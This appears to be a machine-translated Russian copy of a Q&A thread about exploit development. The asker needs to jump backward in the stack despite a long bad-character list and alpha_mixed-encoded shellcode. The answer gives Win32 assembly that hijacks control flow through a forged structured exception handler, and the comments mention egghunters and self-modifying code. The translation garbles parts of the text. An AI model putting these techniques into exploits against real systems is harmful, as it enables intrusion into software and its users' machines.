2016-05-23 5 views
0

Обновление: Поскольку я могу получить правильный адрес в реестре, в который я хочу перейти/позвонить, я думаю, что лучшим вариантом было бы выяснить способ самообслуживания изменение кода приводит к регистру jmp/call. Ex. FFD6 call esi Кто-нибудь сможет дать мне несколько указателей или пример в сборке, как получить полученный FFD6?Обратный ход в стеке без jmp

Я возился с эксплойтом и с трудом возвращался в стек из-за плохих персонажей. Мне нужно вернуться назад ~ 460 байт, чтобы перейти к началу моего буфера.

Вот список плохих персонажей:

\ x0a \ x0D \ x1a \ x80 \ x82 \ x83 \ x84 \ x85 \ x86 \ x87 \ x88 \ x89 \ X8A \ x8b \ x8c \ x8e \ x8f \ x91 \ x92 \ x93 \ x94 \ x95 \ x96 \ x97 \ x98 \ x99 \ X9a \ X9b \ x9c \ x9e \ x9f \ xc0 \ xc1 \ xc2 \ xc3 \ XC4 \ xc5 \ xc6 \ xc7 \ xc8 \ xc9 \ XCA \ XCB \ XCC \ XCD \ xce \ XCF \ xd0 \ xd1 \ XD2 \ XD3 \ xd4 \ xd5 \ xd6 \ xd7 \ xd8 \ xd9 \ XDA \ XDB \ XDc \ XDD \ XDE \ XDF \ xe0 \ xe1 \ XE2 \ XE3 \ xe4 \ xe5 \ XE6 \ xe7 \ X Е8 \ xE9 \ хеа \ xeb \ XEC \ фиксировано \ Xee \ ХеР \ xf0 \ XF1 \ xf2 \ xf3 \ XF4 \ xf5 \ XF6 \ xf7xf8 \ xf9 \ РФА \ XFB \ хк \ xfd \ xfe \ xff

Я ограничен x86 \ alpha_mixed с несколькими исключениями, например x81 & x8d. Единственный способ, которым я смог вернуться в стек, - \ x74 \ x81 (которые являются допустимыми символами), но я должен был сделать это 4 раза, чтобы вернуть ~ 460. Это не было бы самой большой сделкой, за исключением того, что мне будет очень сложно сегментировать мой шеллкод, когда мне уже нужно его закодировать в alpha_mixed.

Я не мастер сборки, так есть ли какой-либо другой способ, который я пропускаю, чтобы я мог перемещаться напрямую без jmp или вызова (FF)?

+0

самомодифицирующийся код разрешено? – Jester

+0

Да, если у него нет плохих персонажей. Я работал над списком плохих персонажей, когда думаю, что нашел свое решение: omlette egghunter. Это должно позволить мне прыгать и комбинировать кусочки моего shellcode. – PaulthePirate

+0

Кстати, почему разрешен '\ x81'? Каков список плохих персонажей? :) – Jester

ответ

2

У меня есть рабочее решение, но это только для Windows и основано на нескольких других предположениях.

Это не полностью оптимизированы, я предполагаю, что есть лучшие способы сделать части этого ...

; ASSUMPTIONS: 
; Platform is Win32 
; ESI contains address to be jumped to 
; All characters except for 00 and the ones you listed above are allowed 
; The contents of the registers after the jump don't matter 
; BASIC METHOD: 
; 1) Set up a structured exception handler pointing to your target address 
; 2) Cause an exception 

; Get zero into EAX and EDX 
00401000  B8 11111111 MOV EAX, 11111111 
00401005  35 11111111 XOR EAX, 11111111 
0040100A  50   PUSH EAX 
0040100B  5A   POP EDX 

; First part of the SEH: Push target address 
0040100C  56   PUSH ESI 

; Second part of the SEH: Read FS:[0] and push it 
0040100D  64:0310  ADD EDX, FS:[EAX] 
00401010  52   PUSH EDX 

; Get zero into EDX again 
00401011  50   PUSH EAX 
00401012  5A   POP EDX 

; Write new SEH pointer into FS:[0] 
00401013  64:2110  AND FS:[EAX], EDX 
00401016  64:0120  ADD FS:[EAX], ESP 

; Trigger exception (writing to memory at address zero) 
00401019  0110   ADD [EAX], EDX 
+0

Это действительно хорошая идея. Спасибо за это. На стороне примечания, есть ли простой способ получить текущее местоположение в памяти в регистр на win32, не используя вышеуказанные символы, поскольку исключение SEH очищает регистры? – PaulthePirate

+0

Думаю, я мог бы ответить на мой собственный вопрос, но я также хотел бы знать, есть ли другой способ. Поскольку доступен 0x8d, я должен быть в состоянии использовать reg, [ESP + any] адрес. – PaulthePirate

+0

Просто исправлена ​​небольшая ошибка копирования, четвертая инструкция - поп, а не толчок конечно. – CherryDT